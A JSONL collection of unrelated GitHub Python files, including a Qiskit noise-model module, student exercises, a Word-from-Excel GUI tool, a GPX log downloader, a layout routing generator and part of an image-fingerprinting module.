old, and are {user.height}.\")\n\ndescribe_admin(user)\ngreet_user(user)","repo_name":"RiggityRussell/CIT228","sub_path":"Chapter9/myUsers.py","file_name":"myUsers.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8808909689","text":"import logging\n\nfrom numpy import inf, exp, allclose\n\nimport qiskit.quantum_info as qi\nfrom .parameters import readout_error_values\nfrom .parameters import gate_param_values\nfrom .parameters import thermal_relaxation_values\nfrom .parameters import _NANOSECOND_UNITS\n\nfrom ..errors.readout_error import ReadoutError\nfrom ..errors.standard_errors import depolarizing_error\nfrom ..errors.standard_errors import thermal_relaxation_error\n\nlogger = logging.getLogger(__name__)\n\n\ndef basic_device_readout_errors(properties):\n \"\"\"\n Return readout error parameters from a devices BackendProperties.\n\n Args:\n properties (BackendProperties): device backend properties\n\n Returns:\n list: A list of pairs ``(qubits, ReadoutError)`` for qubits with\n non-zero readout error values.\n \"\"\"\n errors = []\n for qubit, value in enumerate(readout_error_values(properties)):\n if value is not None and not allclose(value, [0, 0]):\n probabilities = [[1 - value[0], value[0]], [value[1], 1 - value[1]]]\n errors.append(([qubit], ReadoutError(probabilities)))\n return errors\n\n\ndef basic_device_gate_errors(properties,\n gate_error=True,\n thermal_relaxation=True,\n gate_lengths=None,\n gate_length_units='ns',\n temperature=0,\n standard_gates=True,\n warnings=True):\n \"\"\"\n Return QuantumErrors derived from a devices BackendProperties.\n\n If non-default values are used gate_lengths should be a list\n of tuples ``(name, qubits, value)`` where ``name`` is the gate\n name string, ``qubits`` is either a list of qubits or ``None``\n to apply gate time to this gate one any set of qubits,\n and ``value`` is the gate time in nanoseconds.\n\n Args:\n properties (BackendProperties): device backend properties\n gate_error (bool): Include depolarizing gate errors (Default: True).\n thermal_relaxation (Bool): Include thermal relaxation errors\n (Default: True).\n gate_lengths (list): Override device gate times with custom\n values. If None use gate times from\n backend properties. (Default: None).\n gate_length_units (str): Time units for gate length values in gate_lengths.\n Can be 'ns', 'ms', 'us', or 's' (Default: 'ns').\n temperature (double): qubit temperature in milli-Kelvin (mK)\n (Default: 0).\n standard_gates (bool): If true return errors as standard\n qobj gates. If false return as unitary\n qobj instructions (Default: True).\n warnings (bool): Display warnings (Default: True).\n\n Returns:\n list: A list of tuples ``(label, qubits, QuantumError)``, for gates\n with non-zero quantum error terms, where `label` is the label of the\n noisy gate, `qubits` is the list of qubits for the gate.\n \"\"\"\n # Initilize empty errors\n depol_error = None\n relax_error = None\n # Generate custom gate time dict\n custom_times = {}\n relax_params = []\n if thermal_relaxation:\n # If including thermal relaxation errors load\n # T1, T2, and frequency values from properties\n relax_params = thermal_relaxation_values(properties)\n # If we are specifying custom gate times include\n # them in the custom times dict\n if gate_lengths:\n for name, qubits, value in gate_lengths:\n # Convert all gate lengths to nanosecond units\n time = value * _NANOSECOND_UNITS[gate_length_units]\n if name in custom_times:\n custom_times[name].append((qubits, time))\n else:\n custom_times[name] = [(qubits, time)]\n # Get the device gate parameters from properties\n device_gate_params = gate_param_values(properties)\n\n # Construct quantum errors\n errors = []\n for name, qubits, gate_length, error_param in device_gate_params:\n # Check for custom gate time\n relax_time = gate_length\n # Override with custom value\n if name in custom_times:\n filtered = [\n val for q, val in custom_times[name]\n if q is None or q == qubits\n ]\n if filtered:\n # get first value\n relax_time = filtered[0]\n # Get relaxation error\n if thermal_relaxation:\n relax_error = _device_thermal_relaxation_error(\n qubits, relax_time, relax_params, temperature,\n thermal_relaxation)\n\n # Get depolarizing error channel\n if gate_error:\n depol_error = _device_depolarizing_error(\n qubits, error_param, relax_error, standard_gates, warnings=warnings)\n\n # Combine errors\n if depol_error is None and relax_error is None:\n # No error for this gate\n pass\n elif depol_error is not None and relax_error is None:\n # Append only the depolarizing error\n errors.append((name, qubits, depol_error))\n # Append only the relaxation error\n elif relax_error is not None and depol_error is None:\n errors.append((name, qubits, relax_error))\n else:\n # Append a combined error of depolarizing error\n # followed by a relaxation error\n combined_error = depol_error.compose(relax_error)\n errors.append((name, qubits, combined_error))\n return errors\n\n\ndef _device_depolarizing_error(qubits,\n error_param,\n relax_error=None,\n standard_gates=True,\n warnings=True):\n \"\"\"Construct a depolarizing_error for device\"\"\"\n\n # We now deduce the depolarizing channel error parameter in the\n # presence of T1/T2 thermal relaxation. We assume the gate error\n # parameter is given by e = 1 - F where F is the average gate fidelity,\n # and that this average gate fidelity is for the composition\n # of a T1/T2 thermal relaxation channel and a depolarizing channel.\n\n # For the n-qubit depolarizing channel E_dep = (1-p) * I + p * D, where\n # I is the identity channel and D is the completely depolarizing\n # channel. To compose the errors we solve for the equation\n # F = F(E_dep * E_relax)\n # = (1 - p) * F(I * E_relax) + p * F(D * E_relax)\n # = (1 - p) * F(E_relax) + p * F(D)\n # = F(E_relax) - p * (dim * F(E_relax) - 1) / dim\n\n # Hence we have that the depolarizing error probability\n # for the composed depolarization channel is\n # p = dim * (F(E_relax) - F) / (dim * F(E_relax) - 1)\n if relax_error is not None:\n relax_fid = qi.average_gate_fidelity(relax_error)\n relax_infid = 1 - relax_fid\n else:\n relax_fid = 1\n relax_infid = 0\n if error_param is not None and error_param > relax_infid:\n num_qubits = len(qubits)\n dim = 2 ** num_qubits\n error_max = dim / (dim + 1)\n # Check if reported error param is un-physical\n # The minimum average gate fidelity is F_min = 1 / (dim + 1)\n # So the maximum gate error is 1 - F_min = dim / (dim + 1)\n if error_param > error_max:\n if warnings:\n logger.warning(\n 'Device reported a gate error parameter greater'\n ' than maximum allowed value (%f > %f). Truncating to'\n ' maximum value.', error_param, error_max)\n error_param = error_max\n # Model gate error entirely as depolarizing error\n num_qubits = len(qubits)\n dim = 2 ** num_qubits\n depol_param = dim * (error_param - relax_infid) / (dim * relax_fid - 1)\n max_param = 4**num_qubits / (4**num_qubits - 1)\n if depol_param > max_param:\n if warnings:\n logger.warning(\n 'Device model returned a depolarizing error parameter greater'\n ' than maximum allowed value (%f > %f). Truncating to'\n ' maximum value.', depol_param, max_param)\n depol_param = min(depol_param, max_param)\n return depolarizing_error(\n depol_param, num_qubits, standard_gates=standard_gates)\n return None\n\n\ndef _device_thermal_relaxation_error(qubits,\n gate_time,\n relax_params,\n temperature,\n thermal_relaxation=True):\n \"\"\"Construct a thermal_relaxation_error for device\"\"\"\n # Check trivial case\n if not thermal_relaxation or gate_time is None or gate_time == 0:\n return None\n\n # Construct a tensor product of single qubit relaxation errors\n # for any multi qubit gates\n first = True\n error = None\n for qubit in qubits:\n t1, t2, freq = relax_params[qubit]\n population = _excited_population(freq, temperature)\n if first:\n error = thermal_relaxation_error(t1, t2, gate_time, population)\n first = False\n else:\n single = thermal_relaxation_error(t1, t2, gate_time, population)\n error = error.expand(single)\n return error\n\n\ndef _excited_population(freq, temperature):\n \"\"\"Return excited state population\"\"\"\n population = 0\n if freq != inf and temperature != 0:\n # Compute the excited state population from qubit\n # frequency and temperature\n # Boltzman constant kB = 6.62607015e-34 (eV/K)\n # Planck constant h = 6.62607015e-34 (eV.s)\n # qubit temperature temperatue = T (mK)\n # qubit frequency frequency = f (GHz)\n # excited state population = 1/(1+exp((2hf*1e9)/(kbT*1e-3)))\n exp_param = exp((95.9849 * freq) / abs(temperature))\n population = 1 / (1 + exp_param)\n if temperature < 0:\n # negative temperate implies |1> is thermal ground\n population = 1 - population\n return population\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/providers/aer/noise/device/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10274,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"37540974534","text":"import numpy as np\nfrom .compute_cost_multi import compute_cost_multi\n\n\ndef gradient_descent_multi(X, y, theta, alpha, num_iters):\n \"\"\"\n gradient_descent_multi Performs gradient descent to learn theta\n theta = gradient_descent_multi(x, y, theta, alpha, num_iters) updates theta by\n taking num_iters gradient steps with learning rate alpha\n \"\"\"\n\n # Initialize some useful values\n m = y.shape[0] # number of training examples\n\n # make a copy of theta, which will be updated by gradient descent\n theta = theta.copy()\n\n J_history = []\n\n for iteration in range(num_iters):\n \"\"\"\n ====================== YOUR CODE HERE ======================\n Instructions: Perform a single gradient step on the parameter vector theta.\n \n Hint: While debugging, it can be useful to print out the values\n of the cost function (compute_cost_multi) and gradient here.\n \"\"\"\n\n theta = theta - (alpha / m) * (np.dot(X, theta) - y).dot(X)\n\n # ============================================================\n\n # Save the cost j in every iteration\n J_history.append(compute_cost_multi(X, y, theta))\n\n return theta, J_history\n","repo_name":"Flibielt/mlbasics-ex1","sub_path":"ex1/src/utils/gradient_descent_multi.py","file_name":"gradient_descent_multi.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73968407874","text":"class ListNode:\r\n\tdef __init__(self,val):\r\n\t\tself.val=val\r\n\t\tself.next=None\r\n\r\nclass Solution:\r\n\tdef printfromheadtotoe(self,ListNode):\r\n\t\tif ListNode==None:\r\n\t\t\treturn\r\n\t\tl=[]\r\n\t\thead=ListNode\r\n\t\twhile head:\r\n\t\t\tl.insert(head)\r\n\t\t\thead=head.next\r\n\t\treturn l","repo_name":"zhanhuijing/JianzhiGallery_Python","sub_path":"linklist/no5_printfromheadtotoe.py","file_name":"no5_printfromheadtotoe.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"45101423850","text":"def execise_3():\n # input_numbers = input()\n input_numbers = \"3 2 4 5 3 67 7 5 435 4 347 78 6 5 67 -3 -4 -2\"\n # search_number = input()\n search_number = \"6666\"\n array_with_no_spaces = []\n output_array = []\n # for number in input_numbers:\n # if number != \" \":\n # array_with_no_spaces.append(number)\n array_with_no_spaces = input_numbers.split(\" \")\n print(\"array_with_no_spaces \" + str(array_with_no_spaces))\n i = 0\n for element in array_with_no_spaces:\n if int(search_number) == int(element):\n output_array.append(str(i))\n output_array.append(\" \")\n i += 1\n if len(output_array) != 0:\n out_str = ''.join(output_array)\n print(out_str)\n else:\n print('Отсутствует')\n\n\ndef execise_4():\n preambule = \"\"\"\n Напишите программу, на вход которой подаётся прямоугольная матрица в виде последовательности строк, заканчивающихся строкой, содержащей только строку \"end\" (без кавычек)\n Программа должна вывести матрицу того же размера, у которой каждый элемент в позиции i, j равен сумме элементов первой матрицы на позициях (i-1, j), (i+1, j), (i, j-1), (i, j+1). У крайних символов соседний элемент находится с противоположной стороны матрицы.\n В случае одной строки/столбца элемент сам себе является соседом по соответствующему направлению.\n \"\"\"\n matrix = read_matrix_input()\n\n i = 0\n j = 0\n\n print(matrix[0][0])\n # print(matrix[0][1])\n # print(matrix[0][2])\n # print(len(matrix[0]))\n #print(matrix[0][-1])\n\n\n print_2D_matrix(upgrade_matrix(matrix))\n\n\ndef upgrade_matrix(matrix):\n output_matrix = matrix\n i = 0\n j = 0\n while (int(i) < len(matrix)):\n while (int(j) < len(matrix[i])):\n try:\n print(\"i,j = \"+str(i)+\" \"+str(j)+\" matrix[i-1][j] real_coord({} {}) = \".format(str(i-1), str(j))+str(matrix[i-1][j]))\n print(\"i,j = \"+str(i)+\" \"+str(j)+\" matrix[i+1][j] real_coord({} {}) = \".format(str(i+1), str(j))+str(matrix[i+1][j]))\n print(\"i,j = \"+str(i)+\" \"+str(j)+\" matrix[i+1][j] real_coord({} {}) = \".format(str(i+1), str(j))+str(matrix[i+1][j]))\n print(\"i,j = \"+str(i)+\" \"+str(j)+\" matrix[i][j+1] real_coord({} {}) = \".format(str(i), str(j+1))+str(matrix[i][j+1]))\n print(\"\\n\")\n\n output_matrix[i][j] = matrix[i-1][j] + matrix[i+1][j] + matrix[i][j-1] + matrix[i][j+1]\n except IndexError:\n pass\n #print(output_matrix[i][j]+\" ошибка индекса\")\n j += 1\n j = 0\n i += 1\n return output_matrix\n\n\ndef read_matrix_input(stop_input_symbol=\"end\"):\n # Читает матрицу построчно, пока не будет введено слово stop_input_symbol\n matrix = []\n while (True):\n input_str = input()\n if input_str == str(stop_input_symbol):\n break\n else:\n matrix.append(input_str.split(\" \"))\n return matrix\n\n\ndef print_2D_matrix(matrix):\n # Должно выводить двухмерную матрицу в привычном виде\n i = 0\n while (int(i) < len(matrix)):\n out_str = ''.join(str(x + \" \") for x in matrix[i])\n print(out_str)\n i += 1\n\n\n\nexecise_4()","repo_name":"VadimDunin/stepik","sub_path":"Old/stepik_2_6.py","file_name":"stepik_2_6.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1292947403","text":"from docx import Document\nimport pandas as pd\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter.filedialog import askopenfile, askopenfilename\nfrom tkinter.messagebox import showinfo\n\nwin = tk.Tk()\nwin.title(\"Modification du document word\")\n\nmy_dic = {}\n\n\ndef openfile():\n file = askopenfilename(filetypes=[('Word Files', '*.docx')])\n print(file)\n document = Document(file)\n showinfo(\"Done\", \"File Successfully selected\")\n print(my_dic)\n\n for table in document.tables:\n for row in table.rows:\n for cell in row.cells:\n for paragraph in cell.paragraphs:\n if 'Plle' in paragraph.text:\n m = ''\n for j in paragraph.text:\n if j.isdigit():\n m += str(j)\n try:\n paragraph.text = 'REQ' + str(my_dic['REQ'][my_dic['Plle'][int(m)]])\n except:\n pass\n c = ''\n for p in document.paragraphs:\n if 'parcelle n°' in p.text.lower():\n for i in p.text:\n if i.isdigit():\n c += str(i)\n if 'Réquisition n° :' in p.text or 'Réquisition d’immatriculationN°' in p.text:\n if c == '':\n pp=p\n pp.text = ''\n else:\n p.text = 'REQ' + str(my_dic['REQ'][my_dic['Plle'][int(c)]])\n c = ''\n document.save('new word file.docx')\n\n\ndef openfile1():\n global my_dic\n file = askopenfilename(filetypes=[('excel Files', '*.xlsx')])\n print(file)\n my_dic = pd.read_excel(file).to_dict()\n my_dic['Plle'] = {v: k for k, v in my_dic['Plle'].items()}\n print(my_dic)\n showinfo(\"Done\", \"File Successfully selected\")\n\n\nlabel = tk.Label(win, text='Choose excel File: ')\nlabel.grid(row=0, column=0, padx=5, pady=5)\n\nlabel = tk.Label(win, text='Choose word File: ')\nlabel.grid(row=1, column=0, padx=5, pady=5)\n\nbutton = ttk.Button(win, text='choisir fichier word ', width=30, command=openfile)\nbutton.grid(row=1, column=1, padx=5, pady=5)\n\nbutton = ttk.Button(win, text='choisir fichier excel', width=30, command=openfile1)\nbutton.grid(row=0, column=1, padx=5, pady=5)\n\nwin.mainloop()\n","repo_name":"K-BEL/Word_replacer_GUI","sub_path":"Word content Modification.py","file_name":"Word content Modification.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18175836566","text":"def main () -> None:\n with open(\"inputs/d-i\") as file:\n tops = []\n curr = 0\n\n for lisT in file.readlines():\n if lisT == '\\n':\n tops.append(curr)\n curr = 0\n continue\n curr += int(lisT[:-1])\n\n tops = sorted(tops, reverse = True)\n\n print(tops[0])\n print(sum(tops[:3]))\n file.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"movzq/hard-set","sub_path":"AoC-22/day-i.py","file_name":"day-i.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27510152703","text":"\"\"\" \nWrite a function, largest_component, that takes in the adjacency list of an undirected graph. \nThe function should return the size of the largest connected component in the graph.\n\"\"\"\n\ndef largest_component(graph):\n\n visited = set()\n max_size = 0\n for node in graph:\n size = explore(graph, node, visited)\n max_size = max(size, max_size)\n\n return max_size\n\ndef explore(graph, node, visited):\n if node in visited:\n return 0\n\n visited.add(node)\n size = 1\n\n for neighbor in graph[node]:\n size += explore(graph, neighbor, visited)\n\n return size \n\n# Driver code\n# Test case 01\ngraph = {\n 0: [8, 1, 5],\n 1: [0],\n 5: [0, 8],\n 8: [0, 5],\n 2: [3, 4],\n 3: [2, 4],\n 4: [3, 2]\n}\n\nprint(largest_component(graph))\n\n# Test case 02\nprint(largest_component({\n 1: [2],\n 2: [1,8],\n 6: [7],\n 9: [8],\n 7: [6, 8],\n 8: [9, 7, 2]\n})) # -> 6\n\n# Test case 03\nprint(largest_component({\n 3: [],\n 4: [6],\n 6: [4, 5, 7, 8],\n 8: [6],\n 7: [6],\n 5: [6],\n 1: [2],\n 2: [1]\n}))\n\n# Test case 04\nprint(largest_component({}))\n\n# Test case 05\nprint(largest_component({\n 0: [4,7],\n 1: [],\n 2: [],\n 3: [6],\n 4: [0],\n 6: [3],\n 7: [0],\n 8: []\n}))","repo_name":"monika0603/glowing-spork","sub_path":"practice_graphs/largest_component.py","file_name":"largest_component.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36432264069","text":"#!/usr/bin/python3\n\"\"\"\nmodule base\ncontains class BaSE\n\"\"\"\n\nimport json\nimport os\nimport turtle\nimport csv\n\n\nclass Base:\n \"\"\"\n private class attribute __nb_objects = 0\n constructor: def__init__(self, id = None)\n \"\"\"\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\"initializes the class\"\"\"\n if id is not None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\"\n returnsJSON string rep of list_dictionaries\n first checks if list_dictionaries is none/empty\n \"\"\"\n if list_dictionaries is None or len(list_dictionaries) == 0:\n return \"[]\"\n else:\n return json.dumps(list_dictionaries)\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\"writes Json string of list_objs to file\"\"\"\n if list_objs is None:\n list_objs = []\n\n file_name = cls.__name__ + \".json\"\n\n with open(file_name, 'w') as f:\n obj_list = [obj.to_dictionary() for obj in list_objs]\n json_str = cls.to_json_string(obj_list)\n f.write(json_str)\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\"return list of JSON string representation json_string\"\"\"\n if json_string is None or len(json_string) == 0:\n json_list = []\n return json_list\n else:\n json_list = json.loads(json_string)\n return json_list\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\"createand eturn instance with attributes from dict\"\"\"\n if cls.__name__ == \"Rectangle\":\n dummy = cls(1, 1)\n elif cls.__name__ == \"Square\":\n dummy = cls(1)\n else:\n raise ValueError(\"Unsupported class\")\n dummy.update(**dictionary)\n return dummy\n\n @classmethod\n def load_from_file(cls):\n \"\"\"\n loadinstances from json file and return\n list of instances\n \"\"\"\n file_name = cls.__name__ + \".json\"\n\n if not os.path.isfile(file_name):\n return []\n\n with open(file_name, 'r') as f:\n json_string = f.read()\n\n json_list = cls.from_json_string(json_string)\n instances = [cls.create(**dict_data) for dict_data in json_list]\n return instances\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\"serializes objects to CSV\"\"\"\n if list_objs is None:\n list_objs = []\n\n file_name = cls.__name__ + \".csv\"\n\n with open(file_name, 'w', newline='') as f:\n writer = csv.writer(f)\n for obj in list_objs:\n data = obj.to_csv_row()\n writer.writerow(data)\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\"deserialize objects from csv file\"\"\"\n file_name = cls.__name__ + \".csv\"\n instances = []\n\n try:\n with open(file_name, 'r', newline='') as f:\n reader = csv.reader(f)\n for row in reader:\n obj_data = cls.from_csv_row(row)\n instances.append(obj_data)\n\n except FileNotFoundError:\n pass\n return instances\n\n @staticmethod\n def draw(list_rectangles, list_squares):\n \"\"\"draws the list of recs and squares\"\"\"\n screen = turtle.Screen()\n screen.title(\"drawing the rectangles and squares\")\n\n c = turtle.Turtle()\n\n def draw_rectangle(rectangle):\n \"\"\"draws the rectangle\"\"\"\n c.penup()\n c.goto(rectangle.x, rectangle.y)\n c.pendown()\n c.forward(rectangle.width)\n c.left(90)\n c.forward(rectangle.height)\n c.left(90)\n c.forward(rectangle.width)\n c.left(90)\n c.forward(rectangle.height)\n c.left(90)\n c.penup()\n\n def draw_square(square):\n \"\"\"draws the square\"\"\"\n c.penup()\n c.goto(square.x, square.y)\n c.pendown()\n for i in range(4):\n c.forward(square.size)\n c.left(90)\n c.penup()\n\n for rectangle in list_rectangles:\n draw_rectangle(rectangle)\n\n for square in list_squares:\n draw_square(square)\n\n screen.exitonclick()\n","repo_name":"Mitchkal/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44537344428","text":"import json\nimport urllib2\n\nfrom os.path import join, isfile\n\nUSERNAME = \"\"\nCOOKIE = \"\"\n\nFOLDER = \"logs\"\n\ndef acquire_ids():\n\n opener = urllib2.build_opener()\n opener.addheaders = [('User-agent', 'Mozilla/5.0'), ('Cookie', COOKIE)]\n response = opener.open(\"https://www.zombiesrungame.com/api/v3/user/{0}/runrecord/?limit=0&depth=shallow&short=true\".format(USERNAME))\n\n data = json.load(response)\n\n ids = []\n for elem in data[\"objects\"]:\n ids.append(elem[\"id\"])\n\n print(\"found {0} IDs\".format(len(ids)))\n\n return ids\n\n\ndef download(ids):\n\n print(\"retrieving files ...\")\n\n duplicates = 0\n\n for gpx_id in ids:\n if not isfile(join(FOLDER, str(gpx_id) + \".gpx\")):\n opener = urllib2.build_opener()\n opener.addheaders = [('User-agent', 'Mozilla/5.0'), ('Cookie', COOKIE)]\n\n response = opener.open(\"https://www.zombiesrungame.com/api/v3/user/{0}/runrecord/{1}.gpx\".format(USERNAME, gpx_id))\n\n filename = \"{0}.gpx\".format(gpx_id)\n\n file = open(join(FOLDER, filename), \"w\")\n file.write(response.read())\n file.close()\n else:\n duplicates += 1\n\n print(\"written {0} GPX-Files to folder {1} and omitted {2} duplicates\".format(len(ids)-duplicates, FOLDER, duplicates))\n\n\n\nif __name__ == \"__main__\":\n download(acquire_ids())","repo_name":"volzotan/rlogvis","sub_path":"extract_zombielink.py","file_name":"extract_zombielink.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"14867639726","text":"if __name__ == \"__main__\":\n\timport sys\n\tsys.path.append(\"../../\")\nfrom gdsfactory.cell import cell\nfrom gdsfactory.component import Component\nfrom gdsfactory.port import Port\nfrom glayout.pdk.mappedpdk import MappedPDK\nfrom typing import Optional\nfrom glayout.via_gen import via_stack, via_array\nfrom gdsfactory.components.rectangle import rectangle\nfrom glayout.pdk.util.comp_utils import evaluate_bbox, align_comp_to_port\nfrom glayout.pdk.util.port_utils import assert_port_manhattan, set_port_orientation, add_ports_perimeter\nfrom gdstk import rectangle as primitive_rectangle\n\n\n@cell\ndef straight_route(\n\tpdk: MappedPDK,\n\tedge1: Port,\n\tedge2: Port,\n\tglayer1: Optional[str] = None,\n\twidth: Optional[float] = None,\n\tglayer2: Optional[str] = None,\n\tvia1_alignment: Optional[tuple[str, str]] = None,\n\tvia1_alignment_layer: Optional[str] = None,\n\tvia2_alignment: Optional[tuple[str, str]] = None,\n\tvia2_alignment_layer: Optional[str] = None,\n\tfullbottom: Optional[bool] = False\n) -> Component:\n\t\"\"\"extends a route from edge1 until perpindicular with edge2, then places a via\n\tThis depends on the orientation of edge1 and edge2\n\tif edge1 has the same orientation as edge2, the generator will rotate edge2 180 degrees\n\tWill not modify edge1 or edge2\n\t\n\tDOES NOT REQUIRE:\n\tedge2 is directly inline with edge1\n\t\n\texample:\n\t edge2\n\t \n\tedge1--------\n\t\n\targs:\n\tpdk to use\n\tedge1, edge2 Ports\n\tglayer1 = defaults to edge1.layer, layer of the route.\n\t****If not edge1.layer, a via will be placed\n\tglayer2 = defaults to edge2.layer, end layer of the via\n\twidth = defaults to edge1.width\n\tvia1_alignment = alignment of the via on edge1\n\tvia2_alignment = alignment of the via on edge2\n\t****defaults to an orientation that is aligned to the orientation of the port.\n\t\n\tPorts:\n\troute_...all edges of the rectangle path\n\t\"\"\"\n\t#TODO: error checking\n\twidth = width if width else edge1.width\n\tglayer1 = glayer1 if glayer1 else pdk.layer_to_glayer(edge1.layer)\n\tfront_via = None\n\tif glayer1 != pdk.layer_to_glayer(edge1.layer):\n\t\tfront_via = via_stack(pdk,glayer1,pdk.layer_to_glayer(edge1.layer),fullbottom=fullbottom)\n\tglayer2 = glayer2 if glayer2 else pdk.layer_to_glayer(edge2.layer)\n\tassert_port_manhattan([edge1,edge2])\n\tif edge1.orientation == edge2.orientation:\n\t\tedge2 = set_port_orientation(edge2,edge2.orientation,flip180=True)\n\tpdk.activate()\n\t# find extension length and direction\n\tedge1_is_EW = bool(round(edge1.orientation + 90) % 180)\n\tif edge1_is_EW:\n\t\tstartx = edge1.center[0]\n\t\tendx = edge2.center[0]\n\t\textension = endx-startx\n\t\tviaport_name = \"route_E\" if extension > 0 else \"route_W\"\n\t\talignment = (\"r\",\"c\") if extension > 0 else (\"l\",\"c\")\n\t\tsize = (abs(extension),width)\n\telse:\n\t\tstarty = edge1.center[1]\n\t\tendy = edge2.center[1]\n\t\textension = endy-starty\n\t\tviaport_name = \"route_N\" if extension > 0 else \"route_S\"\n\t\talignment = (\"c\",\"t\") if extension > 0 else (\"c\",\"b\")\n\t\tsize = (width,abs(extension))\n\t# create route and via\n\troute = Component()\n\troute.add_polygon(primitive_rectangle((0,0),size,*pdk.get_glayer(glayer1)))\n\tadd_ports_perimeter(route,layer=pdk.get_glayer(glayer1),prefix=\"route_\")\n\tout_via = via_stack(pdk,glayer1,glayer2,fullbottom=fullbottom) if glayer1 != glayer2 else None\n\t# place route and via\n\tstraightroute = Component()\n\tfor i, edge in enumerate([edge1,edge2]):\n\t\ttemp = via1_alignment if i == 0 else via2_alignment\n\t\tif temp is None:\n\t\t\tif round(edge.orientation) == 0:# facing east\n\t\t\t\ttemp = (\"l\", \"c\")\n\t\t\telif round(edge.orientation) == 180:# facing west\n\t\t\t\ttemp = (\"r\", \"c\")\n\t\t\telif round(edge.orientation) == 270:# facing south\n\t\t\t\ttemp = (\"c\", \"t\")\n\t\t\telif round(edge.orientation) == 90:#facing north\n\t\t\t\ttemp = (\"c\", \"b\")\n\t\t\telse:\n\t\t\t\traise ValueError(\"port must be vertical or horizontal\")\n\t\tvia1_alignment = temp if i == 0 else via1_alignment\n\t\tvia2_alignment = temp if i == 1 else via2_alignment\n\troute_ref = align_comp_to_port(route,edge1,alignment=alignment)\n\tstraightroute.add_ports(route_ref.get_ports_list())\n\tstraightroute.add(route_ref)\n\tif out_via is not None:\n\t\talignlayer2 = pdk.get_glayer(glayer1) if via2_alignment_layer is None else pdk.get_glayer(via2_alignment_layer)\n\t\tstraightroute.add(align_comp_to_port(out_via,route_ref.ports[viaport_name],layer=alignlayer2,alignment=via2_alignment))\n\tif front_via is not None:\n\t\talignlayer1 = pdk.get_glayer(glayer1) if via1_alignment_layer is None else pdk.get_glayer(via1_alignment_layer)\n\t\tstraightroute.add(align_comp_to_port(front_via,edge1,layer=alignlayer1,alignment=via1_alignment))\n\treturn straightroute.flatten()\n\n\nif __name__ == \"__main__\":\n\tfrom glayout.pdk.util.standard_main import pdk\n\t\n\troutebetweentop = rectangle(layer=pdk.get_glayer(\"met3\"),size=(1,1)).ref()\n\troutebetweentop.movex(20)\n\troutebetweenbottom = rectangle(layer=pdk.get_glayer(\"met1\"), size=(1, 1))\n\tmycomp = straight_route(pdk,routebetweentop.ports[\"e1\"],routebetweenbottom.ports[\"e3\"])\n\tmycomp.unlock()\n\tmycomp.add(routebetweentop)\n\tmycomp << routebetweenbottom\n\tmycomp.show()\n","repo_name":"idea-fasoc/OpenFASOC","sub_path":"openfasoc/generators/gdsfactory-gen/glayout/routing/straight_route.py","file_name":"straight_route.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"61"} +{"seq_id":"8260257219","text":"\"\"\"Compute visual fingerprints of on image files and directories.\"\"\"\nfrom __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import Generator, Iterable, Set, List, Optional, Dict, Union\n\nimport imagehash\nimport attr\n\nfrom imagesearch.progress import SearchProgressBar\nfrom imagesearch.algo import Algorithm\nfrom imagesearch.exceptions import (\n NotReadableException,\n HashingException,\n)\n\n\n@attr.s(frozen=True, auto_attribs=True, kw_only=True, order=False)\nclass ImageFingerprint:\n \"\"\"\n A file that will be fingerprinted.\n\n path: The Path to the file\n explicit: Whether the file was explicitly asked to be fingerprinted (i.e. was provided as a\n search path and not a directory's child).\n \"\"\"\n\n path: Path\n image_hash: imagehash.ImageHash\n algorithm: Algorithm\n\n @classmethod\n def from_path(\n cls,\n path: Path,\n algorithm: Algorithm,\n algo_params: Optional[Dict[str, Optional[Union[str, bool, int]]]] = None,\n ) -> ImageFingerprint:\n \"\"\"Create an ImageFingerprint from just a path (the hashing happens here).\"\"\"\n image_hash = algorithm(path=path, algo_params=algo_params)\n\n return cls(path=path, image_hash=image_hash, algorithm=algorithm)\n\n @attr.s(frozen=True, auto_attribs=True, kw_only=True, order=False)\n class _WalkedPath:\n path: Path\n from_dir_search: bool\n\n @classmethod\n def _walk_paths(\n cls, search_paths: Iterable[Path], pbar: Optional[SearchProgressBar] = None,\n ) -> List[_WalkedPath]:\n \"\"\"\n Walk all paths in search_paths.\n\n We return a list so the progress bar can know the length. Unfortunately, this puts all paths\n in memory.\n \"\"\"\n\n def add_to_pbar() -> None:\n if pbar is not None:\n 